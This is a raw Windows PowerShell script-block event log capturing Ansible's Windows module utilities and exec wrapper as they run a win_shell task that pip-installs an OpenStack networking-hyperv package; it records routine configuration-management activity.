stdout = so;
stderr = se;
}
private static uint GetProcessExitCode(IntPtr processHandle)
{
new NativeWaitHandle(processHandle).WaitOne();
uint exitCode;
if (!GetExitCodeProcess(processHandle, out exitCode))
throw new Win32Exception("Error getting process exit code");
return exitCode;
}
}
}
"@
$ErrorActionPreference = 'Stop'
Function Load-CommandUtils {
# makes the following static functions available
# [Ansible.CommandUtil]::ParseCommandLine(string lpCommandLine)
# [Ansible.CommandUtil]::SearchPath(string lpFileName)
# [Ansible.CommandUtil]::RunCommand(string lpApplicationName, string lpCommandLine, string lpCurrentDirectory, string stdinInput, string environmentBlock)
#
# there are also numerous P/Invoke methods that can be called if you are feeling adventurous
# FUTURE: find a better way to get the _ansible_remote_tmp variable
$original_tmp = $env:TMP
$remote_tmp = $original_tmp
$module_params = Get-Variable -Name complex_args -ErrorAction SilentlyContinue
if ($module_params) {
if ($module_params.Value.ContainsKey("_ansible_remote_tmp") ) {
$remote_tmp = $module_params.Value["_ansible_remote_tmp"]
$remote_tmp = [System.Environment]::ExpandEnvironmentVariables($remote_tmp)
}
}
$env:TMP = $remote_tmp
Add-Type -TypeDefinition $process_util
$env:TMP = $original_tmp
}
Function Get-ExecutablePath($executable, $directory) {
# lpApplicationName requires the full path to a file, we need to find it
# ourselves.
# we need to add .exe if it doesn't have an extension already
if (-not [System.IO.Path]::HasExtension($executable)) {
$executable = "$($executable).exe"
}
$full_path = [System.IO.Path]::GetFullPath($executable)
if ($full_path -ne $executable -and $directory -ne $null) {
$file = Get-Item -Path "$directory\$executable" -Force -ErrorAction SilentlyContinue
} else {
$file = Get-Item -Path $executable -Force -ErrorAction SilentlyContinue
}
if ($file -ne $null) {
$executable_path = $file.FullName
} else {
$executable_path = [Ansible.CommandUtil]::SearchPath($executable)
}
return $executable_path
}
Function Run-Command {
Param(
[string]$command, # the full command to run including the executable
[string]$working_directory = $null, # the working directory to run under, will default to the current dir
[string]$stdin = $null, # a string to send to the stdin pipe when executing the command
[hashtable]$environment = @{} # a hashtable of environment values to run the command under, this will replace all the other environment variables with these
)
# load the C# code we call in this function
Load-CommandUtils
# need to validate the working directory if it is set
if ($working_directory) {
# validate working directory is a valid path
if (-not (Test-Path -Path $working_directory)) {
throw "invalid working directory path '$working_directory'"
}
}
# lpApplicationName needs to be the full path to an executable, we do this
# by getting the executable as the first arg and then getting the full path
$arguments = [Ansible.CommandUtil]::ParseCommandLine($command)
$executable = Get-ExecutablePath -executable $arguments[0] -directory $working_directory
# run the command and get the results
$command_result = [Ansible.CommandUtil]::RunCommand($executable, $command, $working_directory, $stdin, $environment)
return ,@{
executable = $executable
stdout = $command_result.StandardOut
stderr = $command_result.StandardError
rc = $command_result.ExitCode
}
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: 0e15903e-1c50-4f0c-9806-170cbd8cd17a
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1707 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 5000 | 4200 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:19 AM | dfeadd90-ee34-0003-88f0-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c), Michael DeHaan <michael.dehaan@gmail.com>, 2014, and others
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
Set-StrictMode -Version 2.0
$ErrorActionPreference = "Stop"
Function Set-Attr($obj, $name, $value)
{
<#
.SYNOPSIS
Helper function to set an "attribute" on a psobject instance in PowerShell.
This is a convenience to make adding Members to the object easier and
slightly more pythonic
.EXAMPLE
Set-Attr $result "changed" $true
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
Try
{
$obj.$name = $value
}
Catch
{
$obj | Add-Member -Force -MemberType NoteProperty -Name $name -Value $value
}
}
Function Exit-Json($obj)
{
<#
.SYNOPSIS
Helper function to convert a PowerShell object to JSON and output it, exiting
the script
.EXAMPLE
Exit-Json $result
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit
}
Function Fail-Json($obj, $message = $null)
{
<#
.SYNOPSIS
Helper function to add the "msg" property and "failed" property, convert the
PowerShell Hashtable to JSON and output it, exiting the script
.EXAMPLE
Fail-Json $result "This is the failure message"
#>
if ($obj -is [hashtable] -or $obj -is [psobject]) {
# Nothing to do
} elseif ($obj -is [string] -and $null -eq $message) {
# If we weren't given 2 args, and the only arg was a string,
# create a new Hashtable and use the arg as the failure message
$message = $obj
$obj = @{ }
} else {
# If the first argument is undefined or a different type,
# make it a Hashtable
$obj = @{ }
}
# Still using Set-Attr for PSObject compatibility
Set-Attr $obj "msg" $message
Set-Attr $obj "failed" $true
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit 1
}
Function Add-Warning($obj, $message)
{
<#
.SYNOPSIS
Helper function to add warnings, even if the warnings attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("warnings")) {
$obj.warnings = @()
} elseif ($obj.warnings -isnot [array]) {
throw "Add-Warning: warnings attribute is not an array"
}
$obj.warnings += $message
}
Function Add-DeprecationWarning($obj, $message, $version = $null)
{
<#
.SYNOPSIS
Helper function to add deprecations, even if the deprecations attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("deprecations")) {
$obj.deprecations = @()
} elseif ($obj.deprecations -isnot [array]) {
throw "Add-DeprecationWarning: deprecations attribute is not a list"
}
$obj.deprecations += @{
msg = $message
version = $version
}
}
Function Expand-Environment($value)
{
<#
.SYNOPSIS
Helper function to expand environment variables in values. By default
it turns any type to a string, but we ensure $null remains $null.
#>
if ($null -ne $value) {
[System.Environment]::ExpandEnvironmentVariables($value)
} else {
$value
}
}
Function Get-AnsibleParam($obj, $name, $default = $null, $resultobj = @{}, $failifempty = $false, $emptyattributefailmessage, $ValidateSet, $ValidateSetErrorMessage, $type = $null, $aliases = @())
{
<#
.SYNOPSIS
Helper function to get an "attribute" from a psobject instance in PowerShell.
This is a convenience to make getting Members from an object easier and
slightly more pythonic
.EXAMPLE
$attr = Get-AnsibleParam $response "code" -default "1"
.EXAMPLE
Get-AnsibleParam -obj $params -name "State" -default "Present" -ValidateSet "Present","Absent" -resultobj $resultobj -failifempty $true
Get-AnsibleParam also supports Parameter validation to save you from coding that manually
Note that if you use the failifempty option, you do need to specify resultobject as well.
#>
# Check if the provided Member $name or aliases exist in $obj and return it or the default.
try {
$found = $null
# First try to find preferred parameter $name
$aliases = @($name) + $aliases
# Iterate over aliases to find acceptable Member $name
foreach ($alias in $aliases) {
if ($obj.ContainsKey($alias)) {
$found = $alias
break
}
}
if ($null -eq $found) {
throw
}
$name = $found
if ($ValidateSet) {
if ($ValidateSet -contains ($obj.$name)) {
$value = $obj.$name
} else {
if ($null -eq $ValidateSetErrorMessage) {
#Auto-generated error should be sufficient in most use cases
$ValidateSetErrorMessage = "Get-AnsibleParam: Argument $name needs to be one of $($ValidateSet -join ",") but was $($obj.$name)."
}
Fail-Json -obj $resultobj -message $ValidateSetErrorMessage
}
} else {
$value = $obj.$name
}
} catch {
if ($failifempty -eq $false) {
$value = $default
} else {
if (-not $emptyattributefailmessage) {
$emptyattributefailmessage = "Get-AnsibleParam: Missing required argument: $name"
}
Fail-Json -obj $resultobj -message $emptyattributefailmessage
}
}
# If $value -eq $null, the parameter was unspecified by the user (deliberately or not)
# Please leave $null-values intact, modules need to know if a parameter was specified
# When $value is already an array, we cannot rely on the null check, as an empty list
# is seen as null in the check below
if ($null -ne $value -or $value -is [array]) {
if ($type -eq "path") {
# Expand environment variables on path-type
$value = Expand-Environment($value)
# Test if a valid path is provided
if (-not (Test-Path -IsValid $value)) {
$path_invalid = $true
# could still be a valid-shaped path with a nonexistent drive letter
if ($value -match "^\w:") {
# rewrite path with a valid drive letter and recheck the shape- this might still fail, eg, a nonexistent non-filesystem PS path
if (Test-Path -IsValid $(@(Get-PSDrive -PSProvider Filesystem)[0].Name + $value.Substring(1))) {
$path_invalid = $false
}
}
if ($path_invalid) {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' has an invalid path '$value' specified."
}
}
} elseif ($type -eq "str") {
# Convert str types to real Powershell strings
$value = $value.ToString()
} elseif ($type -eq "bool") {
# Convert boolean types to real Powershell booleans
$value = $value | ConvertTo-Bool
} elseif ($type -eq "int") {
# Convert int types to real Powershell integers
$value = $value -as [int]
} elseif ($type -eq "float") {
# Convert float types to real Powershell floats
$value = $value -as [float]
} elseif ($type -eq "list") {
if ($value -is [array]) {
# Nothing to do
} elseif ($value -is [string]) {
# Convert string type to real Powershell array
$value = $value.Split(",").Trim()
} elseif ($value -is [int]) {
$value = @($value)
} else {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' is not a YAML list."
}
# , is not a typo, forces it to return as a list when it is empty or only has 1 entry
return ,$value
}
}
return $value
}
#Alias Get-attr-->Get-AnsibleParam for backwards compat. Only add when needed to ease debugging of scripts
If (-not(Get-Alias -Name "Get-attr" -ErrorAction SilentlyContinue))
{
New-Alias -Name Get-attr -Value Get-AnsibleParam
}
Function ConvertTo-Bool
{
<#
.SYNOPSIS
Helper filter/pipeline function to convert a value to boolean following current
Ansible practices
.EXAMPLE
$is_true = "true" | ConvertTo-Bool
#>
param(
[parameter(valuefrompipeline=$true)]
$obj
)
$boolean_strings = "yes", "on", "1", "true", 1
$obj_string = [string]$obj
if (($obj -is [boolean] -and $obj) -or $boolean_strings -contains $obj_string.ToLower()) {
return $true
} else {
return $false
}
}
Function Parse-Args($arguments, $supports_check_mode = $false)
{
<#
.SYNOPSIS
Helper function to parse Ansible JSON arguments from a "file" passed as
the single argument to the module.
.EXAMPLE
$params = Parse-Args $args
#>
$params = New-Object psobject
If ($arguments.Length -gt 0)
{
$params = Get-Content $arguments[0] | ConvertFrom-Json
}
Else {
$params = $complex_args
}
$check_mode = Get-AnsibleParam -obj $params -name "_ansible_check_mode" -type "bool" -default $false
If ($check_mode -and -not $supports_check_mode)
{
Exit-Json @{
skipped = $true
changed = $false
msg = "remote module does not support check mode"
}
}
return $params
}
Function Get-FileChecksum($path, $algorithm = 'sha1')
{
<#
.SYNOPSIS
Helper function to calculate a hash of a file in a way which PowerShell 3
and above can handle
#>
If (Test-Path -Path $path -PathType Leaf)
{
switch ($algorithm)
{
'md5' { $sp = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider }
'sha1' { $sp = New-Object -TypeName System.Security.Cryptography.SHA1CryptoServiceProvider }
'sha256' { $sp = New-Object -TypeName System.Security.Cryptography.SHA256CryptoServiceProvider }
'sha384' { $sp = New-Object -TypeName System.Security.Cryptography.SHA384CryptoServiceProvider }
'sha512' { $sp = New-Object -TypeName System.Security.Cryptography.SHA512CryptoServiceProvider }
default { Fail-Json @{} "Unsupported hash algorithm supplied '$algorithm'" }
}
If ($PSVersionTable.PSVersion.Major -ge 4) {
$raw_hash = Get-FileHash $path -Algorithm $algorithm
$hash = $raw_hash.Hash.ToLower()
} Else {
$fp = [System.IO.File]::Open($path, [System.IO.Filemode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::ReadWrite);
$hash = [System.BitConverter]::ToString($sp.ComputeHash($fp)).Replace("-", "").ToLower();
$fp.Dispose();
}
}
ElseIf (Test-Path -Path $path -PathType Container)
{
$hash = "3";
}
Else
{
$hash = "1";
}
return $hash
}
Function Get-PendingRebootStatus
{
<#
.SYNOPSIS
Check if reboot is required, if so notify CA.
Function returns true if computer has a pending reboot
#>
$featureData = Invoke-WmiMethod -EA Ignore -Name GetServerFeature -Namespace root\microsoft\windows\servermanager -Class MSFT_ServerManagerTasks
$regData = Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" "PendingFileRenameOperations" -EA Ignore
$CBSRebootStatus = Get-ChildItem "HKLM:\\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing" -ErrorAction SilentlyContinue| Where-Object {$_.PSChildName -eq "RebootPending"}
if(($featureData -and $featureData.RequiresReboot) -or $regData -or $CBSRebootStatus)
{
return $True
}
else
{
return $False
}
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: a10f5e88-7576-481d-a699-379db69bf269
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1706 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 5000 | 4200 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:19 AM | dfeadd90-ee34-0003-81f0-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
{
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
ScriptBlock ID: d658eec3-fd20-4084-91a6-31693ed935f9
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1705 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 5000 | 4200 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:18 AM | dfeadd90-ee34-0003-72f0-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (5 of 5):
YWJsZSA9IEdldC1BbnNpYmxlUGFyYW0gLW9iaiAkcGFyYW1zIC1uYW1lICJleGVjdXRhYmxlIiAtdHlwZSAicGF0aCIKJGNyZWF0ZXMgPSBHZXQtQW5zaWJsZVBhcmFtIC1vYmogJHBhcmFtcyAtbmFtZSAiY3JlYXRlcyIgLXR5cGUgInBhdGgiCiRyZW1vdmVzID0gR2V0LUFuc2libGVQYXJhbSAtb2JqICRwYXJhbXMgLW5hbWUgInJlbW92ZXMiIC10eXBl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ZGVsdGEgPSAkKCRlbmRfZGF0ZXRpbWUgLSAkc3RhcnRfZGF0ZXRpbWUpLlRvU3RyaW5nKCJoXDptbVw6c3NcLmZmZmZmZiIpCgpJZiAoJHJlc3VsdC5yYyAtbmUgMCkgewogICAgRmFpbC1Kc29uIC1vYmogJHJlc3VsdCAtbWVzc2FnZSAibm9uLXplcm8gcmV0dXJuIGNvZGUiCn0KCkV4aXQtSnNvbiAkcmVzdWx0Cg==", "module_args": {"_ansible_version": "2.7.0", "_ansible_selinux_special_fs": ["fuse", "nfs", "vboxsf", "ramfs", "9p"], "_ansible_no_log": false, "_ansible_module_name": "win_shell", "_raw_params": "pip install -c c:\\openstack\\build\\requirements\\upper-constraints.txt -U -e c:\\openstack\\build\\networking-hyperv", "_ansible_verbosity": 4, "_ansible_keep_remote_files": false, "_ansible_syslog_facility": "LOG_USER", "_ansible_socket": null, "_ansible_remote_tmp": "%TEMP%", "_ansible_diff": false, "_ansible_debug": false, "_ansible_shell_executable": "/bin/sh", "_ansible_check_mode": false, "_ansible_tmpdir": null}}
'@
}
process {
$input_as_string = [string]$input
$json_raw += $input_as_string
}
end {
If (-not $json_raw) {
Write-Error "no input given" -Category InvalidArgument
}
$payload = ConvertTo-HashtableFromPsCustomObject (ConvertFrom-Json $json_raw)
# TODO: handle binary modules
# TODO: handle persistence
$min_os_version = [version]$payload.min_os_version
if ($min_os_version -ne $null) {
$actual_os_version = [System.Environment]::OSVersion.Version
if ($actual_os_version -lt $min_os_version) {
$msg = "This module cannot run on this OS as it requires a minimum version of $min_os_version, actual was $actual_os_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$min_ps_version = [version]$payload.min_ps_version
if ($min_ps_version -ne $null) {
$actual_ps_version = $PSVersionTable.PSVersion
if ($actual_ps_version -lt $min_ps_version) {
$msg = "This module cannot run as it requires a minimum PowerShell version of $min_ps_version, actual was $actual_ps_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$actions = $payload.actions
# pop 0th action as entrypoint
$entrypoint = $payload.($actions[0])
$payload.actions = $payload.actions[1..99]
$entrypoint = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($entrypoint))
# load the current action entrypoint as a module custom object with a Run method
$entrypoint = New-Module -ScriptBlock ([scriptblock]::Create($entrypoint)) -AsCustomObject
Set-Variable -Scope global -Name complex_args -Value $payload["module_args"] | Out-Null
# dynamically create/load modules
ForEach ($mod in $payload.powershell_modules.GetEnumerator()) {
$decoded_module = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($mod.Value))
New-Module -ScriptBlock ([scriptblock]::Create($decoded_module)) -Name $mod.Key | Import-Module -WarningAction SilentlyContinue | Out-Null
}
$output = $entrypoint.Run($payload)
Write-Output $output
}
ScriptBlock ID: a7098e6b-2539-4743-824c-f07bc1b33af2
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1704 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 5000 | 4200 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:18 AM | dfeadd90-ee34-0003-6cf0-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (4 of 5):
gICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImludCIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IGludCB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgaW50ZWdlcnMKICAgICAgICAgICAgJHZhbHVlID0gJHZhbHVlIC1hcyBbaW50XQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImZsb2F0IikgewogICAgICAgICAgICAjIENvbnZlcnQgZmxvYX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TogcGFyc2UvcmV0dXJuIG90aGVyIHN0cmVhbXMKICAgICAgICB9CiAgICAgICAgRWxzZSB7CiAgICAgICAgICAgICRyYXdfc3RkZXJyCiAgICAgICAgfQogICAgfQogICAgQ2F0Y2ggewogICAgICAgICIqKipFWENFUFRJT04gUEFSU0lORyBDTElYTUw6ICRfKioqIiArICRyYXdfc3RkZXJyCiAgICB9Cn0KCiRwYXJhbXMgPSBQYXJzZS1BcmdzICRhcmdzIC1zdXBwb3J0c19jaGVja19tb2RlICRmYWxzZQoKJHJhd19jb21tYW5kX2xpbmUgPSBHZXQtQW5zaWJsZVBhcmFtIC1vYmogJHBhcmFtcyAtbmFtZSAiX3Jhd19wYXJhbXMiIC10eXBlICJzdHIiIC1mYWlsaWZlbXB0eSAkdHJ1ZQokY2hkaXIgPSBHZXQtQW5zaWJsZVBhcmFtIC1vYmogJHBhcmFtcyAtbmFtZSAiY2hkaXIiIC10eXBlICJwYXRoIgokZXhlY3V0
ScriptBlock ID: a7098e6b-2539-4743-824c-f07bc1b33af2
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1703 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 5000 | 4200 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:18 AM | dfeadd90-ee34-0003-6cf0-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 5):
gY2FsbCBpbiB0aGlzIGZ1bmN0aW9uCiAgICBMb2FkLUNvbW1hbmRVdGlscwoKICAgICMgbmVlZCB0byB2YWxpZGF0ZSB0aGUgd29ya2luZyBkaXJlY3RvcnkgaWYgaXQgaXMgc2V0CiAgICBpZ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nkgewoKICAgICAgICAkZm91bmQgPSAkbnVsbAogICAgICAgICMgRmlyc3QgdHJ5IHRvIGZpbmQgcHJlZmVycmVkIHBhcmFtZXRlciAkbmFtZQogICAgICAgICRhbGlhc2VzID0gQCgkbmFtZSkgKyAkYWxpYXNlcwoKICAgICAgICAjIEl0ZXJhdGUgb3ZlciBhbGlhc2VzIHRvIGZpbmQgYWNjZXB0YWJsZSBNZW1iZXIgJG5hbWUKICAgICAgICBmb3JlYWNoICgkYWxpYXMgaW4gJGFsaWFzZXMpIHsKICAgICAgICAgICAgaWYgKCRvYmouQ29udGFpbnNLZXkoJGFsaWFzKSkgewogICAgICAgICAgICAgICAgJGZvdW5kID0gJGFsaWFzCiAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBpZiAoJG51bGwgLWVxICRmb3VuZCkgewogICAgICAgICAgICB0aHJvdwogICAgICAgIH0KICAgICAgICAkbmFtZSA9ICRmb3VuZAoKICAgICAgICBpZiAoJFZhbGlkYXRlU2V0KSB7CgogICAgICAgICAgICBpZiAoJFZhbGlkYXRlU2V0IC1jb250YWlucyAoJG9iai4kbmFtZSkpIHsKICAgICAgICAgICAgICAgICR2YWx1ZSA9ICRvYmouJG5hbWUKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmICgkbnVsbCAtZXEgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlKSB7CiAgICAgICAgICAgICAgICAgICAgI0F1dG8tZ2VuZXJhdGVkIGVycm9yIHNob3VsZCBiZSBzdWZmaWNpZW50IGluIG1vc3QgdXNlIGNhc2VzCiAgICAgICAgICAgICAgICAgICAgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlID0gIkdldC1BbnNpYmxlUGFyYW06IEFyZ3VtZW50ICRuYW1lIG5lZWRzIHRvIGJlIG9uZSBvZiAkKCRWYWxpZGF0ZVNldCAtam9pbiAiLCIpIGJ1dCB3YXMgJCgkb2JqL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W52YWxpZCkgewogICAgICAgICAgICAgICAgICAgIEZhaWwtSnNvbiAtb2JqICRyZXN1bHRvYmogLW1lc3NhZ2UgIkdldC1BbnNpYmxlUGFyYW06IFBhcmFtZXRlciAnJG5hbWUnIGhhcyBhbiBpbnZhbGlkIHBhdGggJyR2YWx1ZScgc3BlY2lmaWVkLiIKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgInN0ciIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IHN0ciB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgc3RyaW5ncwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUuVG9TdHJpbmcoKQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImJvb2wiKSB7CiAgICAgICAgICAgICMgQ29udmVydCBib29sZWFuIHR5cGVzIHRvIHJlYWwgUG93ZXJzaGVsbCBib29sZWFucwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgfCBDb252ZXJ0VG8tQm9vbAo
ScriptBlock ID: a7098e6b-2539-4743-824c-f07bc1b33af2
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1702 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 5000 | 4200 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:18 AM | dfeadd90-ee34-0003-6cf0-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 5):
2hhbC5GcmVlSEdsb2JhbChyZXQpOwoKICAgICAgICAgICAgcmV0dXJuIGNtZGxpbmVQYXJ0czsKICAgICAgICB9CgogICAgICA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gogICAgICAgICAgICBVVEY4RW5jb2RpbmcgdXRmOF9lbmNvZGluZyA9IG5ldyBVVEY4RW5jb2RpbmcoZmFsc2UpOwogICAgICAgICAgICBGaWxlU3RyZWFtIHN0ZGluX2ZzID0gbmV3IEZpbGVTdHJlYW0oc3RkaW5fd3JpdGUsIEZpbGVBY2Nlc3MuV3JpdGUsIDMyNzY4KTsKICAgICAgICAgICAgU3RyZWFtV3JpdGVyIHN0ZGluID0gbmV3IFN0cmVhbVdyaXRlcihzdGRpbl9mcywgdXRmOF9lbmNvZGluZywgMzI3NjgpOwoKICAgICAgICAgICAgLy8gSWYgbHBDdXJyZW50RGlyZWN0b3J5IGlzIHNldCB0byBudWxsIGluIFBTIGl0IHdpbGwgYmUgYW4gZW1wdHkKICAgICAgICAgICAgLy8gc3RyaW5nIGhlcmUsIHdlIG5lZWQgdG8gY29udmVydCBpdAogICAgICAgICAgICBpZiAobHBDdXJyZW50RGlyZWN0b3J5ID09ICIiKQogICAgICAgICAgICAgICAgbHBDdXJyZW50RGlyZWN0b3J5ID0gbnVsbDsKCiAgICAgICAgICAgIFN0cmluZ0J1aWxkZXIgZW52aXJvbm1lbnRTdHJpbmcgPSBudWxsOwoKICAgICAgICAgICAgaWYgKGVudmlyb25tZW50ICE9IG51bGwgJiYgZW52aXJvbm1lbnQuQ291bnQgPiAwKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBlbnZpcm9ubWVudFN0cmluZyA9IG5ldyBTdHJpbmdCdWlsZGVyKCk7CiAgICAgICAgICAgICAgICBmb3JlYWNoIChEaWN0aW9uYXJ5RW50cnkga3YgaW4gZW52aXJvbm1lbnQpCiAgICAgICAgICAgICAgICAgICAgZW52aXJvbm1lbnRTdHJpbmcuQXBwZW5kRm9ybWF0KCJ7MH09ezF9XDAiLCBrdi5LZXksIGt2LlZhbHVlKTsKICAgICAgICAgICAgICAgIGVudmlyb25tZW50U3RyaW5nLkFwcGVuZCgnXDAnKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLy8gQ3JlYXRlIHRoZSBlbnZpcm9ubWVudCBibG9jayBpZiBzZXQKICAgICAgICAgICAgSW50UHRyIGxwRW52aXJvbm1lbnQgPSBJbnRQdHIuWmVybzsKICAgICAgICAgICAgaWYgKGVudmlyb25tZW50U3RyaW5nICE9IG51bGwpCiAgICAgICAgICAgICAgICBscEVudmlyb25tZW50ID0gTWFyc2hhbC5TdHJpbmdUb0hHbG9iYWxVbmkoZW52aXJvbm1lbnRTdHJpbmcuVG9TdHJpbmcoKSk7CgogICAgICAgICAgICAvLyBDcmVhdGUgbmV3IHByb2Nlc3MgYW5kIHJ1bgogICAgICAgICAgICBTdHJpbmdCdWlsZGVyIGFyZ3VtZW50X3N0cmluZyA9IG5ldyBTdHJpbmdCdWlsZGVyKGxwQ29tbWFuZExpbmUpOwogICAgICAgICAgICBQUk9DRVNTX0lORk9STUFUSU9OIHBpID0gbmV3IFBST0NFU1NfSU5GT1JNQVRJT04oKTsKICAgICAgICAgICAgaWYgKCFDcmVhdGVQcm9jZXNzKAogICAgICAgICAgICAgICAgbHBBcHBsaWNhdGlvbk5hbWUsCiAgICAgICAgICAgICAgICBhcmd1bWVudF9zdHJpbmcsCiAgICAgICAgICAgICAgICBJbnRQdHIuWmVybywKICAgICAgICAgICAgICAgIEludFB0ci5aZXJvLAogICAgICAgICAgICAgICAgdHJ1ZSwKICAgICAgICAgICAgICAgIHN0YXJ0dXBfZmxhZ3MsCiAgICAgICAgICAgICAgICBscEVudmlyb25tZW50LAogICAgICAgICAgICAgICAgbHBDdXJyZW50RGlyZWN0b3J5LAogICAgICAgICAgICAgICAgc2ksCiAgICAgICAgICAgICAgICBvdXQgcGkpKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgV2luMzJFeGNlcHRpb24oIkZhaWxlZCB0byBjcmVhdGUgbmV3IHByb2Nlc3MiKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLy8gU2V0dXAgdGhlIG91dHB1d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N0YW5kYXJkRXJyb3IgPSBzdGRlcnJfc3RyLAogICAgICAgICAgICAgICAgRXhpdENvZGUgPSByYwogICAgICAgICAgICB9OwogICAgICAgIH0KCiAgICAgICAgcHJpdmF0ZSBzdGF0aWMgdm9pZCBHZXRQcm9jZXNzT3V0cHV0KFN0cmVhbVJlYWRlciBzdGRvdXRTdHJlYW0sIFN